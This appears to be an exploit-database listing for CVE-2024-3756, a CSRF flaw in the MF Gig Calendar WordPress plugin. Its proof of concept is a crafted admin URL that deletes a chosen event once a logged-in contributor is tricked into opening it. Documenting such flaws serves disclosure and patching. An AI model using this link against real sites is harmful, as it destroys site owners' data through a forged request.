Exploit for MF Gig Calendar <= 1.2.1 - Arbitrary Event Deletion via CSRF CVE-2024-3756

Name: Exploit for MF Gig Calendar <= 1.2.1 - Arbitrary Event Deletion via CSRF CVE-2024-3756
Rating: 5 (81 reviews)

2024-04-15 | CVSS 6.8

## https://sploitus.com/exploit?id=WPEX-ID:B28D0DCA-2DF1-4925-BE81-DD9C46859C38
Make a contributor or higher user open a link where <<EVENT_ID>> is a valid event:

https://example.com/wp-admin/admin.php?page=mf_gig_calendar&id=<<EVENT_ID>>&action=delete